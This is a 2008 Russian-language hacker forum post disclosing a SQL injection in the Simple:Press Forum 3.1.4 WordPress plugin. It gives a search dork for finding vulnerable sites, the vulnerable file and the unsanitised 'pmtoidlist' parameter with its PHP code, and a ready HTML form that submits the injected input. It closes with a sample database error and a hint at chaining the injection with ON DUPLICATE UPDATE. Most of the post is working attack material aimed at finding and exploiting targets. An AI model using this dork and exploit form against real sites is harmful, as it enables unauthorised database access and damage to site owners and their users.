
18.12.2008, 23:14
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
Уязвимый продукт: Simple:Press Forum - 3.1.4 (последняя на данный момент)
Дорк: inurl: plugins/simple-forum
SQL-injection: ./wp-content/plugins/simple-forum/sf-pmpost.php
Уязвимая переменная : $_POST['pmtoidlist']
PHP код:
$tolist = explode(',', $_POST['pmtoidlist']);
if(!$tolist)
{
update_sfnotice('sfmessage', '1@'.__('No message recipients were set', "sforum"));
return;
}
...
foreach($tolist as $recipient)
{
$recipient = trim($recipient);
...
$sql = "INSERT INTO ".SFMESSAGES;
$sql .= " (sent_date, from_id, to_id, title, message, sentbox, is_reply) ";
$sql .= "VALUES (";
$sql .= "now(), ";
$sql .= $current_user->ID.", ";
$sql .= $recipient.", ";
$sql .= "'".$wpdb->escape($title)."', ";
$sql .= "'".$wpdb->escape($messagecontent)."', ";
$sql .= $sentbox.", ";
$sql .= $reply.");";
if($wpdb->query($sql) === false)
Примерный эксплойт:
Логинимся на форум (для отправки личных сообщений, как правило, на форумах рега открыта):
PHP код:
<form action="http://lamer/platinum/wp-content/plugins/simple-forum/sf-pmpost.php" method="post">
<input type="hidden" name="_wpnonce" value="e5192161fc" />
<input type="hidden" name="_wp_http_referer" value="/platinum/forum/?pmaction=viewinpm&pms=1" />
<input type="hidden" tabindex="0" name="pmaction" id="pmaction" value="savepm" />
<input type="hidden" tabindex="0" name="pmuser" id="pmuser" value="1" />
sql<input name="pmtoidlist" value="" />
<input type="hidden" tabindex="0" name="pmreply" id="pmreply" value="" />
title<input type="text" tabindex="4" name="pmtitle" id="pmtitle" value="" />
text<textarea tabindex="5" name="newpmpost" id="newpmpost" rows="12"></textarea>
<input type="submit" name="newpm" value="ok" />
</form>
Примерная возвращаемая ошибка:
PHP код:
WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' sd, '123', 'sdfsdfds', 1, 0)' at line 1]
INSERT INTO wp_sfmessages (sent_date, from_id, to_id, title, message, sentbox, is_reply) VALUES (now(), 1, 12\' sd, '123', 'sdfsdfds', 1, 0);
Можно использовать в совокупности с on duplicate update (сорри, не помню точно, ищите адвизори гемаглабина 
Последний раз редактировалось M4g; 18.12.2008 в 23:20..
|
|
|